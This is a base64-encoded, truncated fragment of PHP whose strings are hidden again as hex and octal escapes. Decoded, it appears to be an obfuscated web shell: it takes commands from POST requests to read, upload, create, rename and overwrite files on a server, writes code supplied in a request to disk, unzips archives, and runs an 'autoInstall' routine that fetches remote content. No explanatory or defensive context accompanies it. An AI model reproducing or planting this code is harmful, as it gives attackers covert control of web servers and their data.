ZWxzZSB7IGlmIChyZW5hbWUoJHJlbmFtZURpciwgJG5ld0RpcikpIHsgJHJlc3VsdFsiXHg2NFwxNDFcMTY0XDE0MSJdID0gIlw2MSI7IH0gZWxzZSB7ICRyZXN1bHRbIlx4NjRceDYxXHg3NFwxNDEiXSA9ICJceDMzIjsgfSB9IH0gJHJlc3VsdFsiXDE2M1x4NzVceDYzXHg2M1x4NjVceDczXDE2MyJdID0gdHJ1ZTsgfSBlbHNlIHsgaWYgKCRkYXRhID09ICJceDZlXDE0NVwxNjdceDQ2XHg2OVx4NmNceDY1IikgeyAkZGlyID0gJF9QT1NUWyJceDY0XDE1MVwxNjIiXTsgJG5ld0ZpbGVOYW1lID0gJF9QT1NUWyJceDZlXHg2NVwxNjdcMTA2XHg2OVwxNTRceDY1XDExNlx4NjFcMTU1XDE0NSJdOyBpZiAoY2hlY2tVbmRvKCRkaXIpKSB7ICRuZXdmaWxlID0gJGRpciAuICRuZXdGaWxlTmFtZTsgfSBlbHNlIHsgJG5ld2ZpbGUgPSAkZGlyIC4gIlw1NyIgLiAkbmV3RmlsZU5hbWU7IH0gaWYgKGlzX2ZpbGUoJG5ld2ZpbGUpID09PSB0cnVlKSB7ICRyZXN1bHRbIlwxNDRcMTQxXHg3NFx4NjEiXSA9ICJcNjIiOyB9IGVsc2UgeyBpZiAoZmlsZV9wdXRfY29udGVudHMoJG5ld2ZpbGUsICJcNDAiKSkgeyAkcmVzdWx0WyJceDY0XDE0MVwxNjRcMTQxIl0gPSAiXDYxIjsgfSBlbHNlIHsgJHJlc3VsdFsiXDE0NFx4NjFceDc0XDE0MSJdID0gIlx4MzMiOyB9IH0gJHJlc3VsdFsiXDE2M1wxNjVceDYzXDE0M1x4NjVceDczXDE2MyJdID0gdHJ1ZTsgfSBlbHNlIHsgaWYgKCRkYXRhID09ICJceDZlXDE0NVx4NzdcMTA2XHg2Zlx4NmNceDY0XHg2NVx4NzIiKSB7ICRkaXIgPSAkX1BPU1RbIlwxNDRcMTUxXHg3MiJdOyAkbmV3Rm9sZGVyTmFtZSA9ICRfUE9TVFsiXHg2ZVwxNDVceDc3XHg0NlwxNTdcMTU0XDE0NFx4NjVceDcyXDExNlx4NjFceDZkXHg2NSJdOyBpZiAoY2hlY2tVbmRvKCRkaXIpKSB7ICRuZXdmb2xkZXIgPSAkZGlyIC4gJG5ld0ZvbGRlck5hbWU7IH0gZWxzZSB7ICRuZXdmb2xkZXIgPSAkZGlyIC4gIlw1NyIgLiAkbmV3Rm9sZGVyTmFtZTsgfSBpZiAoaXNfZGlyKCRuZXdmb2xkZXIpID09PSB0cnVlKSB7ICRyZXN1bHRbIlx4NjRceDYxXHg3NFwxNDEiXSA9ICJcNjIiOyB9IGVsc2UgeyBpZiAobWtkaXIoJG5ld2ZvbGRlciwgNTExLCB0cnVlKSkgeyAkcmVzdWx0WyJcMTQ0XHg2MVx4NzRceDYxIl0gPSAiXHgzMSI7IH0gZWxzZSB7ICRyZXN1bHRbIlwxNDRceDYxXHg3NFx4NjEiXSA9ICJcNjMiOyB9IH0gJHJlc3VsdFsiXHg3M1x4NzVceDYzXHg2M1wxNDVcMTYzXDE2MyJdID0gdHJ1ZTsgfSBlbHNlIHsgaWYgKCRkYXRhID09ICJcMTI1XHg3MFx4NmNcMTU3XDE0MVx4NjQiKSB7ICRkaXIgPSAkX1BPU1RbIlx4NjRcMTUxXHg3MiJdOyAkZmlsZU5hbWUgPSAkX1BPU1RbIlx4NjZceDY5XHg2Y1x4NjVcMTE2XHg2MVwxNTVceDY1Il07IGlmIChjaGVja1VuZG8oJGRpcikpIHsgJG5ld2ZpbGUgPSAkZGlyIC4gJGZpbGVOYW1lOyB9IGVsc2UgeyAkbmV3ZmlsZSA9ICRkaXIgLiAiXHgyZiIgLiAkZmlsZU5hbWU7IH0gaWYgKGlzX2ZpbGUoJG5ld2ZpbGUpID09PSB0cnVlKSB7ICRyZXN1bHRbIlwxNDRceDYxXHg3NFx4NjEiXSA9ICJceDMyIjsgfSBlbHNlIHsgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJcMTQ2XDE1MVwxNTRcMTQ1Il1bIlx4NzRcMTU1XHg3MFwxMzdceDZlXHg2MVwxNTVceDY1Il0sICRuZXdmaWxlKSkgeyAkcmVzdWx0WyJcMTQ0XDE0MVwxNjRceDYxIl0gPSAiXHgzMSI7IH0gZWxzZSB7ICRyZXN1bHRbIlwxNDRcMTQxXHg3NFwxNDEiXSA9ICJceDMzIjsgfSB9ICRyZXN1bHRbIlx4NzNceDc1XHg2M1wxNDNceDY1XDE2M1x4NzMiXSA9IHRydWU7IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXHg0Zlx4NzBcMTQ1XHg2ZVw0MFx4NDZceDY5XDE1NFx4NjUiKSB7ICRmaWxlID0gJF9QT1NUWyJceDY2XDE1MVwxNTRcMTQ1Il07ICRtaW1lVHlwZSA9IG1pbWVfY29udGVudF90eXBlKCRmaWxlKTsgJHR5cGUgPSBleHBsb2RlKCJcNTciLCAkbWltZVR5cGUpOyBpZiAoJHR5cGVbMF0gPT0gIlx4NjlcMTU1XHg2MVwxNDdcMTQ1IikgeyAkcmVzdWx0WyJcMTQ0XHg2MVx4NzRceDYxIl0gPSAiXDc0XDE0NFwxNTFceDc2XDQwXHg2M1wxNTRcMTQxXHg3M1x4NzNcNzVceDIyXHg3Nlx4NjlceDY1XHg3N1x4NDZceDY5XHg2Y1x4NjVcNDJceDNlXDc0XDE0NFwxNTFcMTY2XDQwXDE0M1wxNTRceDYxXDE2M1wxNjNceDNkXHgyMlx4NzZcMTUxXHg2NVwxNjdcMTA2XDE1MVwxNTRcMTQ1XHg1NFwxNTFcMTY0XHg2Y1wxNDVcNDJceDNlXDc0XDE0NFx4NjlceDc2XHgyMFwxNDNcMTU0XDE0MVx4NzNcMTYzXHgzZFw0Mlx4NmVcMTQ1XHg3N1x4NTNcMTQ1XDE1NFx4NmNceDIyXHgzZVw3NFx4NjRceDY5XHg3Nlx4MjBcMTQzXHg2Y1wxNDFceDczXDE2M1x4M2RceDIyXDE1Nlx4NjVceDc3XDEyM1wxNDVceDZjXHg2Y1wxMzdcMTY0XDE1MVx4NzRcMTU0XHg2NVw0Mlw3NiIgLiBiYXNlbmFtZSgkZmlsZSkgLiAiXDc0XHgyZlwxNDRcMTUxXHg3Nlx4M2VceDNjXHg2NFwxNTFceDc2XDQwXDE0M1x4NmNceDYxXHg3M1x4NzNcNzVcNDJceDZlXDE0NVwxNjdceDQ2XDE1MVx4NmNceDY1XDEzN1x4NjJceDc0XDE1Nlx4MjJcNzZceDNjXDE1MVw0MFx4NjlcMTQ0XDc1XHgyMlwxNjZcMTUxXHg2NVx4NzdceDQ2XHg2OVx4NmNcMTQ1XHg0M1x4NmNceDZmXHg3M1x4NjVcNDJcNDBcMTQzXHg2Y1wxNDFceDczXDE2M1w3NVw0Mlx4NjZceDYxXDU1XDE1NFwxNTFcMTQ3XHg2OFwxNjRcNDBceDY2XHg2MVw1NVwxNzBcMTU1XHg2MVx4NzJceDZiXDQyXHgzZVx4M2NceDJmXDE1MVx4M2VcNzRceDJmXHg2NFx4NjlcMTY2XDc2XDc0XDU3XDE0NFx4NjlceDc2XHgzZVx4M2NceDJmXHg2NFwxNTFcMTY2XDc2XHgzY1x4NjRcMTUxXDE2Nlw0MFwxNDNceDZjXHg2MVx4NzNcMTYzXHgzZFw0Mlx4NzZceDY5XHg2NVx4NzdcMTA2XHg2OVx4NmNcMTQ1XDEwNFwxNDFcMTY0XDE0MVx4MjJceDNlXDc0XHg2OVwxNTVcMTQ3XDQwXHg3M1x4NzJceDYzXDc1XDQyIiAuICRmaWxlIC4gIlw0Mlw3Nlx4M2NcNTdceDY0XDE1MVwxNjZcNzZcNzRcNTdcMTQ0XHg2OVx4NzZcNzYiOyAkcmVzdWx0WyJceDc0XHg3OVwxNjBceDY1Il0gPSAiXDE1MVwxNTVcMTQxXDE0N1wxNDUiOyB9IGVsc2UgeyBpZiAoJHR5cGVbMF0gPT0gIlwxNjZceDY5XDE0NFwxNDVcMTU3IikgeyAkcmVzdWx0WyJcMTQ0XHg2MVx4NzRceDYxIl0gPSAiXHgzY1x4NjRcMTUxXDE2Nlx4MjBcMTQzXDE1NFx4NjFcMTYzXDE2M1w3NVw0MlwxNjZcMTUxXHg2NVwxNjdcMTA2XHg2OVwxNTRcMTQ1XDQyXHgzZVw3NFx4NjRcMTUxXDE2Nlw0MFx4NjNcMTU0XHg2MVwxNjNceDczXHgzZFx4MjJceDc2XHg2OVx4NjVcMTY3XHg0Nlx4NjlcMTU0XDE0NVwxMjRcMTUxXDE2NFx4NmNcMTQ1XHgyMlw3Nlw3NFwxNDRceDY5XHg3Nlx4MjBceDYzXHg2Y1x4NjFcMTYzXHg3M1x4M2RceDIyXDE1NlwxNDVcMTY3XDEyM1wxNDVceDZjXHg2Y1x4MjJceDNlXDc0XHg2NFx4NjlcMTY2XHgyMFwxNDNceDZjXDE0MVwxNjNcMTYzXHgzZFw0Mlx4NmVceDY1XDE2N1wxMjNceDY1XDE1NFx4NmNcMTM3XDE2NFx4NjlcMTY0XDE1NFwxNDVcNDJceDNlIiAuIGJhc2VuYW1lKCRmaWxlKSAuICJceDNjXDU3XDE0NFwxNTFcMTY2XDc2XDc0XDE0NFwxNTFceDc2XHgyMFx4NjNcMTU0XHg2MVwxNjNceDczXHgzZFx4MjJceDZlXDE0NVx4NzdcMTA2XDE1MVwxNTRcMTQ1XDEzN1wxNDJceDc0XDE1Nlw0Mlw3Nlx4M2NcMTUxXHgyMFx4NjlceDY0XHgzZFw0MlwxNjZceDY5XDE0NVwxNjdceDQ2XHg2OVx4NmNcMTQ1XHg0M1wxNTRcMTU3XDE2M1wxNDVcNDJcNDBcMTQzXHg2Y1x4NjFcMTYzXDE2M1w3NVw0Mlx4NjZceDYxXDU1XDE1NFwxNTFcMTQ3XDE1MFwxNjRcNDBcMTQ2XHg2MVx4MmRceDc4XHg2ZFx4NjFcMTYyXDE1M1w0Mlx4M2VceDNjXHgyZlwxNTFcNzZcNzRcNTdceDY0XDE1MVx4NzZceDNlXDc0XDU3XDE0NFwxNTFcMTY2XDc2XHgzY1w1N1wxNDRcMTUxXHg3Nlw3Nlx4M2NcMTQ0XHg2OVx4NzZcNDBcMTQzXHg2Y1x4NjFceDczXHg3M1w3NVw0Mlx4NzZcMTUxXDE0NVwxNjdceDQ2XHg2OVx4NmNceDY1XDEwNFx4NjFceDc0XDE0MVw0Mlw3Nlw3NFx4NzZceDY5XHg2NFx4NjVceDZmXDQwXHg2M1wxNTdcMTU2XDE2NFx4NzJceDZmXDE1NFx4NzNceDNlXHgzY1x4NzNcMTU3XDE2NVx4NzJceDYzXHg2NVw0MFwxNjNcMTYyXDE0M1x4M2RcNDIiIC4gJGZpbGUgLiAiXDQyXDc2XHgzY1x4MmZcMTY2XDE1MVwxNDRcMTQ1XDE1N1w3Nlx4M2NceDJmXHg2NFwxNTFcMTY2XDc2XHgzY1w1N1x4NjRceDY5XHg3Nlx4M2UiOyAkcmVzdWx0WyJcMTY0XDE3MVx4NzBcMTQ1Il0gPSAiXHg3Nlx4NjlceDY0XHg2NVwxNTciOyB9IGVsc2UgeyBpZiAoJHR5cGVbMF0gPT0gIlwxNDFcMTY1XHg2NFx4NjlceDZmIikgeyAkcmVzdWx0WyJcMTQ0XDE0MVwxNjRceDYxIl0gPSAiXHgzY1x4NjRceDY5XDE2Nlw0MFx4NjNcMTU0XDE0MVx4NzNcMTYzXDc1XDQyXHg3NlwxNTFcMTQ1XHg3N1x4NDZceDY5XHg2Y1x4NjVceDIyXDc2XDc0XDE0NFx4NjlcMTY2XDQwXHg2M1wxNTRcMTQxXHg3M1x4NzNceDNkXHgyMlx4NzZcMTUxXHg2NVwxNjdceDQ2XHg2OVx4NmNceDY1XHg1NFwxNTFceDc0XHg2Y1wxNDVcNDJceDNlXDc0XHg2NFwxNTFcMTY2XHgyMFwxNDNceDZjXDE0MVx4NzNcMTYzXDc1XDQyXDE1NlwxNDVcMTY3XHg1M1wxNDVcMTU0XDE1NFw0Mlw3Nlx4M2NceDY0XDE1MVwxNjZceDIwXDE0M1x4NmNcMTQxXDE2M1wxNjNceDNkXDQyXDE1NlwxNDVceDc3XDEyM1x4NjVcMTU0XDE1NFwxMzdceDc0XHg2OVx4NzRcMTU0XHg2NVw0Mlx4M2UiIC4gYmFzZW5hbWUoJGZpbGUpIC4gIlx4M2NceDJmXHg2NFx4NjlceDc2XHgzZVx4M2NceDY0XDE1MVwxNjZcNDBcMTQzXDE1NFwxNDFceDczXHg3M1x4M2RceDIyXHg2ZVwxNDVceDc3XHg0NlwxNTFceDZjXDE0NVx4NWZceDYyXHg3NFwxNTZceDIyXHgzZVx4M2NcMTUxXDQwXDE1MVwxNDRcNzVcNDJcMTY2XDE1MVwxNDVcMTY3XDEwNlx4NjlcMTU0XDE0NVx4NDNcMTU0XDE1N1x4NzNcMTQ1XHgyMlw0MFwxNDNcMTU0XDE0MVx4NzNceDczXDc1XHgyMlx4NjZcMTQxXDU1XDE1NFwxNTFcMTQ3XDE1MFwxNjRceDIwXDE0NlwxNDFceDJkXDE3MFx4NmRcMTQxXHg3MlwxNTNceDIyXDc2XHgzY1x4MmZceDY5XDc2XDc0XHgyZlx4NjRcMTUxXDE2Nlw3Nlx4M2NcNTdcMTQ0XDE1MVx4NzZceDNlXHgzY1x4MmZcMTQ0XHg2OVwxNjZceDNlXDc0XHg2NFwxNTFceDc2XHgyMFwxNDNcMTU0XDE0MVwxNjNceDczXDc1XHgyMlwxNjZceDY5XHg2NVx4NzdcMTA2XHg2OVx4NmNceDY1XHg0NFx4NjFceDc0XHg2MVx4MjJcNzZceDNjXDE0MVwxNjVcMTQ0XDE1MVwxNTdceDIwXHg2M1x4NmZcMTU2XHg3NFwxNjJcMTU3XDE1NFx4NzNceDNlXHgzY1wxNjNceDZmXDE2NVwxNjJceDYzXDE0NVx4MjBcMTYzXHg3MlwxNDNceDNkXDQyIiAuICRmaWxlIC4gIlw0Mlx4M2VcNzRceDJmXDE0MVx4NzVceDY0XDE1MVx4NmZcNzZcNzRcNTdceDY0XHg2OVx4NzZcNzZcNzRcNTdcMTQ0XDE1MVwxNjZcNzYiOyAkcmVzdWx0WyJcMTY0XDE3MVx4NzBcMTQ1Il0gPSAiXDE2Nlx4NjlceDY0XDE0NVx4NmYiOyB9IGVsc2UgeyBpZiAoJHR5cGVbMF0gPT0gIlx4NzRceDY1XHg3OFwxNjQiKSB7IGlmIChmaWxlX2dldF9jb250ZW50cygkZmlsZSkpIHsgJHJlc3VsdFsiXHg2M1wxNTdcMTU2XHg3NFx4NjVcMTU2XDE2NCJdID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOyAkcmVzdWx0WyJceDY0XDE0MVx4NzRceDYxIl0gPSAiXDc0XHg2NFwxNTFcMTY2XHgyMFwxNDNceDZjXHg2MVwxNjNcMTYzXDc1XHgyMlwxNjZceDY5XHg2NVwxNjdcMTA2XDE1MVwxNTRcMTQ1XHgyMlx4M2VceDNjXHg2NFwxNTFcMTY2XHgyMFx4NjNceDZjXDE0MVx4NzNceDczXDc1XHgyMlwxNjZcMTUxXHg2NVx4NzdceDQ2XDE1MVx4NmNceDY1XDEyNFwxNTFceDc0XHg2Y1x4NjVcNDJceDNlXDc0XHg2NFx4NjlceDc2XDQwXHg2M1wxNTRceDYxXDE2M1wxNjNceDNkXHgyMlx4NmVcMTQ1XDE2N1x4NTNceDY1XDE1NFx4NmNceDIyXHgzZVw3NFwxNDRceDY5XHg3Nlw0MFx4NjNcMTU0XHg2MVwxNjNceDczXDc1XDQyXHg2ZVx4NjVceDc3XHg1M1wxNDVceDZjXHg2Y1wxMzdcMTY0XDE1MVwxNjRcMTU0XDE0NVx4MjJcNzYiIC4gYmFzZW5hbWUoJGZpbGUpIC4gIlx4M2NcNTdcMTQ0XDE1MVx4NzZcNzZcNzRcMTQ0XDE1MVwxNjZceDIwXHg2M1wxNTRceDYxXHg3M1x4NzNcNzVceDIyXHg2ZVwxNDVcMTY3XHg0NlwxNTFceDZjXDE0NVwxMzdcMTQyXDE2NFwxNTZcNDJceDNlXHgzY1x4NjlceDIwXHg2OVx4NjRceDNkXDQyXDE0MVwxNDRceDY0XDExNlx4NmZcMTY3XDE2Mlx4NjFceDcwXDQyXDQwXDE0M1x4NmNcMTQxXHg3M1x4NzNceDNkXHgyMlwxNDZcMTQxXDU1XHg2Y1wxNTFcMTQ3XDE1MFwxNjRcNDBceDY2XDE0MVx4MmRcMTQxXHg2Y1x4NjlcMTQ3XHg2ZVw1NVwxNTJceDc1XDE2M1wxNjRcMTUxXDE0Nlx4NzlcNDJcNzZcNzRceDJmXHg2OVx4M2VceDNjXDE1MVw0MFwxNTFceDY0XDc1XHgyMlwxNjJcMTQ1XHg2ZFwxNTdcMTY2XHg2NVwxMTZcMTU3XDE2N1x4NzJceDYxXDE2MFx4MjJceDIwXHg2M1x4NmNceDYxXDE2M1wxNjNcNzVcNDJcMTQ2XDE0MVw1NVx4NmNceDY5XHg2N1x4NjhcMTY0XHgyMFwxNDZceDYxXHgyZFx4NjFceDZjXDE1MVx4NjdcMTU2XHgyZFx4NzNcMTU0XDE0MVwxNjNceDY4XDQyXDc2XHgzY1x4MmZcMTUxXHgzZVw3NFwxNTFcNDBcMTUxXHg2NFw3NVx4MjJceDc2XDE1MVx4NjVcMTY3XDEwNlx4NjlceDZjXDE0NVwxMDNceDZjXDE1N1wxNjNcMTQ1XDQyXHgyMFx4NjNcMTU0XHg2MVwxNjNcMTYzXHgzZFw0MlwxNDZceDYxXHgyZFx4NmNcMTUxXDE0N1wxNTBceDc0XHgyMFwxNDZcMTQxXDU1XHg3OFwxNTVcMTQxXDE2Mlx4NmJcNDJceDNlXHgzY1w1N1x4NjlcNzZcNzRcMTUxXHgyMFx4NjlcMTQ0XHgzZFw0MlwxNjZceDY5XHg2NVx4NzdcMTA2XHg2OVwxNTRceDY1XHg1M1x4NjFceDc2XDE0NVw0Mlx4MjBcMTQzXHg2Y1wxNDFcMTYzXHg3M1w3NVw0MlwxNDZceDYxXDU1XHg2Y1wxNTFcMTQ3XDE1MFx4NzRceDIwXDE0Nlx4NjFceDJkXHg2Nlx4NmNceDZmXDE2MFwxNjBceDc5XDU1XDE0NFwxNTFcMTYzXDE1M1w0Mlx4M2VceDNjXHgyZlwxNTFceDNlXHgzY1x4MmZcMTQ0XDE1MVwxNjZcNzZceDNjXHgyZlx4NjRceDY5XDE2Nlw3Nlw3NFx4NjlcMTU2XHg3MFwxNjVceDc0XDQwXDE2NFx4NzlceDcwXHg2NVx4M2RcNDJceDY4XDE1MVwxNDRcMTQ0XDE0NVwxNTZceDIyXDQwXHg2OVx4NjRcNzVceDIyXHg3NlwxNTFcMTQ1XHg3N1wxMDZceDY5XDE1NFx4NjVceDQ0XHg2OVwxNjJcNDJceDIwXDE2Nlx4NjFcMTU0XDE2NVwxNDVcNzVcNDIiIC4gJGZpbGUgLiAiXDQyXHgzZVx4M2NceDJmXHg2NFx4NjlceDc2XHgzZVw3NFw1N1wxNDRceDY5XDE2Nlx4M2UiOyAkcmVzdWx0WyJcMTY0XHg3OVx4NzBcMTQ1Il0gPSAiXDE2NFx4NjVceDc4XDE2NCI7IH0gZWxzZSB7ICRyZXN1bHRbIlx4NzRcMTcxXDE2MFwxNDUiXSA9ICJceDUwXDE0NVwxNjJceDZkXDE1MVx4NzNceDczXDE1MVwxNTdceDZlXHgyMFx4NDRcMTQ1XHg2ZVx4NjlcMTQ1XHg2NCI7IH0gfSBlbHNlIHsgaWYgKCR0eXBlWzBdID09ICJcMTQxXDE2MFwxNjBcMTU0XDE1MVx4NjNcMTQxXDE2NFwxNTFceDZmXDE1NiIpIHsgaWYgKCR0eXBlWzFdID09ICJceDZmXHg2M1wxNjRceDY1XDE2NFw1NVwxNjNceDc0XHg3MlwxNDVceDYxXHg2ZCIgb3IgJHR5cGVbMV0gPT0gIlx4NzhcNTVceDYzXDE2M1x4NjgiIG9yICR0eXBlWzFdID09ICJceDZhXDE0MVx4NzZcMTQxXHgyZFwxNDFceDcyXHg2M1x4NjhceDY5XDE2Nlx4NjUiIG9yICR0eXBlWzFdID09ICJcMTUyXHg3M1x4NmZcMTU2IiBvciAkdHlwZVsxXSA9PSAiXDE1NFwxNDRceDJiXHg2YVx4NzNceDZmXHg2ZSIgb3IgJHR5cGVbMV0gPT0gIlwxNzBcNTVceDY4XDE2NFx4NzRceDcwXDE0NFw1NVx4NzBceDY4XDE2MCIpIHsgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSkgeyAkcmVzdWx0WyJceDYzXDE1N1wxNTZceDc0XHg2NVwxNTZceDc0Il0gPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7ICRyZXN1bHRbIlx4NjRcMTQxXHg3NFx4NjEiXSA9ICJceDNjXDE0NFx4NjlceDc2XHgyMFwxNDNceDZjXHg2MVx4NzNcMTYzXHgzZFx4MjJceDc2XHg2OVx4NjVceDc3XHg0Nlx4NjlcMTU0XDE0NVw0Mlx4M2VcNzRceDY0XHg2OVwxNjZceDIwXDE0M1wxNTRcMTQxXDE2M1x4NzNcNzVceDIyXHg3NlwxNTFceDY1XHg3N1x4NDZcMTUxXDE1NFx4NjVcMTI0XHg2OVx4NzRcMTU0XHg2NVx4MjJceDNlXDc0XHg2NFwxNTFceDc2XHgyMFwxNDNceDZjXHg2MVwxNjNceDczXHgzZFx4MjJceDZlXDE0NVx4NzdcMTIzXDE0NVwxNTRceDZjXDQyXDc2XHgzY1wxNDRceDY5XDE2Nlx4MjBceDYzXDE1NFx4NjFcMTYzXHg3M1w3NVx4MjJceDZlXDE0NVx4NzdcMTIzXHg2NVx4NmNcMTU0XHg1Zlx4NzRcMTUxXDE2NFwxNTRceDY1XDQyXHgzZSIgLiBiYXNlbmFtZSgkZmlsZSkgLiAiXDc0XHgyZlwxNDRcMTUxXDE2Nlw3Nlx4M2NceDY0XHg2OVx4NzZceDIwXHg2M1x4NmNcMTQxXDE2M1wxNjNcNzVcNDJceDZlXHg2NVx4NzdceDQ2XHg2OVwxNTRceDY1XDEzN1wxNDJcMTY0XHg2ZVw0Mlx4M2VcNzRcMTUxXDQwXHg2OVx4NjRceDNkXDQyXHg2MVwxNDRcMTQ0XDExNlwxNTdcMTY3XHg3MlwxNDFcMTYwXDQyXDQwXDE0M1wxNTRcMTQxXHg3M1wxNjNceDNkXDQyXDE0Nlx4NjFcNTVcMTU0XDE1MVx4NjdceDY4XDE2NFx4MjBcMTQ2XDE0MVx4MmRcMTQxXHg2Y1x4NjlcMTQ3XHg2ZVx4MmRcMTUyXHg3NVwxNjNceDc0XHg2OVx4NjZcMTcxXHgyMlx4M2VcNzRceDJmXDE1MVx4M2VcNzRcMTUxXHgyMFx4NjlcMTQ0XDc1XHgyMlwxNjJceDY1XDE1NVx4NmZceDc2XHg2NVwxMTZceDZmXDE2N1wxNjJceDYxXHg3MFx4MjJceDIwXHg2M1x4NmNceDYxXDE2M1wxNjNceDNkXDQyXHg2NlwxNDFcNTVceDZjXHg2OVwxNDdcMTUwXDE2NFx4MjBcMTQ2XDE0MVx4MmRcMTQxXDE1NFwxNTFceDY3XHg2ZVw1NVwxNjNcMTU0XDE0MVx4NzNceDY4XHgyMlw3Nlx4M2NcNTdceDY5XHgzZVw3NFx4NjlceDIwXDE1MVx4NjRcNzVceDIyXHg3Nlx4NjlcMTQ1XHg3N1x4NDZceDY5XDE1NFx4NjVcMTAzXHg2Y1wxNTdceDczXHg2NVw0Mlx4MjBcMTQzXHg2Y1wxNDFceDczXDE2M1x4M2RceDIyXHg2NlwxNDFcNTVcMTU0XHg2OVx4NjdceDY4XHg3NFx4MjBceDY2XDE0MVw1NVx4NzhceDZkXHg2MVwxNjJceDZiXHgyMlw3Nlw3NFw1N1x4NjlcNzZceDNjXDE1MVx4MjBcMTUxXHg2NFx4M2RcNDJceDc2XDE1MVx4NjVceDc3XHg0NlwxNTFceDZjXDE0NVwxMjNceDYxXHg3NlwxNDVcNDJceDIwXHg2M1wxNTRceDYxXDE2M1x4NzNceDNkXHgyMlx4NjZceDYxXDU1XDE1NFwxNTFcMTQ3XHg2OFwxNjRceDIwXDE0Nlx4NjFceDJkXDE0Nlx4NmNceDZmXHg3MFx4NzBceDc5XHgyZFwxNDRceDY5XHg3M1x4NmJcNDJceDNlXHgzY1w1N1x4NjlcNzZceDNjXDU3XHg2NFx4NjlcMTY2XDc2XDc0XHgyZlwxNDRcMTUxXDE2Nlx4M2VcNzRceDY5XDE1Nlx4NzBcMTY1XDE2NFw0MFwxNjRceDc5XDE2MFwxNDVceDNkXHgyMlwxNTBceDY5XDE0NFwxNDRceDY1XHg2ZVw0Mlw0MFwxNTFcMTQ0XDc1XHgyMlwxNjZceDY5XHg2NVwxNjdceDQ2XDE1MVx4NmNceDY1XHg0NFx4NjlcMTYyXDQyXHgyMFwxNjZcMTQxXHg2Y1wxNjVceDY1XDc1XDQyIiAuICRmaWxlIC4gIlx4MjJceDNlXHgzY1x4MmZceDY0XDE1MVx4NzZcNzZceDNjXDU3XHg2NFwxNTFceDc2XHgzZSI7ICRyZXN1bHRbIlx4NzRceDc5XDE2MFx4NjUiXSA9ICJcMTY0XDE0NVx4NzhcMTY0IjsgfSBlbHNlIHsgJHJlc3VsdFsiXDE2NFwxNzFcMTYwXHg2NSJdID0gIlwxMjBcMTQ1XHg3MlwxNTVceDY5XDE2M1x4NzNcMTUxXDE1N1x4NmVcNDBceDQ0XDE0NVx4NmVcMTUxXHg2NVx4NjQiOyB9IH0gZWxzZSB7IGlmICgkdHlwZVsxXSA9PSAiXHg3YVx4NjlceDcwIikgeyAkcmVzdWx0WyJceDY0XDE0MVx4NzRceDYxIl0gPSAkZmlsZTsgJHJlc3VsdFsiXHg3NFwxNzFceDcwXDE0NSJdID0gIlwxNzJceDY5XHg3MCI7IH0gZWxzZSB7ICRyZXN1bHRbIlx4NzRcMTcxXDE2MFx4NjUiXSA9ICRtaW1lVHlwZTsgfSB9IH0gZWxzZSB7ICRyZXN1bHRbIlwxNjRcMTcxXDE2MFx4NjUiXSA9ICRtaW1lVHlwZTsgfSB9IH0gfSB9ICRyZXN1bHRbIlx4NzNceDc1XHg2M1wxNDNceDY1XDE2M1wxNjMiXSA9IHRydWU7IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXHg1NVwxNjBceDY0XDE0MVwxNjRceDY1XHgyMFwxMDZceDY5XDE1NFx4NjUiKSB7ICRmaWxlQ29kZSA9ICRfUE9TVFsiXDE0Nlx4NjlceDZjXDE0NVwxMDNceDZmXHg2NFx4NjUiXTsgJGZpbGVEaXIgPSAkX1BPU1RbIlx4NjZceDY5XDE1NFwxNDVceDQ0XDE1MVx4NzIiXTsgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlRGlyLCAkZmlsZUNvZGUpKSB7ICRyZXN1bHRbIlwxNDRceDYxXHg3NFx4NjEiXSA9ICJcNjEiOyB9IGVsc2UgeyAkcmVzdWx0WyJcMTQ0XDE0MVx4NzRcMTQxIl0gPSAiXHgzMiI7IH0gJHJlc3VsdFsiXHg3M1wxNjVceDYzXHg2M1x4NjVceDczXHg3MyJdID0gdHJ1ZTsgfSBlbHNlIHsgaWYgKCRkYXRhID09ICJceDU1XHg2ZVwxNzJcMTUxXDE2MFw0MFwxMDZceDY5XHg2Y1x4NjUiKSB7ICRmaWxlID0gJF9QT1NUWyJcMTQ2XHg2OVx4NmNcMTQ1Il07ICRwYXRoID0gcGF0aGluZm8ocmVhbHBhdGgoJGZpbGUpLCBQQVRISU5GT19ESVJOQU1FKTsgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7ICRyZXMgPSAkemlwLT5vcGVuKCRmaWxlKTsgaWYgKCRyZXMgPT09IHRydWUpIHsgJHppcC0+ZXh0cmFjdFRvKCRwYXRoKTsgJHppcC0+Y2xvc2UoKTsgJHJlc3VsdFsiXHg2NFx4NjFceDc0XHg2MSJdID0gdHJ1ZTsgfSBlbHNlIHsgJHJlc3VsdFsiXHg2NFx4NjFceDc0XHg2MSJdID0gZmFsc2U7IH0gJHJlc3VsdFsiXDE2M1wxNjVcMTQzXHg2M1x4NjVcMTYzXDE2MyJdID0gdHJ1ZTsgfSBlbHNlIHsgaWYgKCRkYXRhID09ICJceDYxXHg3NVx4NzRceDZmXDExMVwxNTZcMTYzXDE2NFwxNDFceDZjXHg2YyIpIHsgJGRpciA9ICRfUE9TVFsiXHg2NFwxNTFcMTYyIl07ICRhdXRvSW5zdGFsbCA9IGV4cGxvZGUoIlx4N2NceDUzXHg0OFwxMDVceDRjXDExNFx4N2MiLCBnZXREZWNvZGUoJF9QT1NUWyJceDYxXHg3NVwxNjRceDZmXHg0OVx4NmVcMTYzXHg3NFx4NjFcMTU0XHg2YyJdKSk7IGlmIChjaGVja1VuZG8oJGRpcikpIHsgJGluc3RhbGxmaWxlID0gJGRpciAuICRhdXRvSW5zdGFsbFswXTsgfSBlbHNlIHsgJGluc3RhbGxmaWxlID0gJGRpciAuICJceDJmIiAuICRhdXRvSW5zdGFsbFswXTsgfSBpZiAoaXNfZmlsZSgkaW5zdGFsbGZpbGUpID09PSB0cnVlKSB7ICRyZXN1bHRbIlwxNDRcMTQxXHg3NFwxNDEiXSA9ICJcNjIiOyB9IGVsc2UgeyAkaW5zdGFsbENvbnRlbnQgPSBnZXRDb250ZW50KCRhdXRvSW5zdGFsbFsxXSk7IGlmICgkaW5zdGFsbENvbnRlbnQgPT0gJycpIHsgJHJlc3VsdFsiXHg2NFwxNDFceDc0XD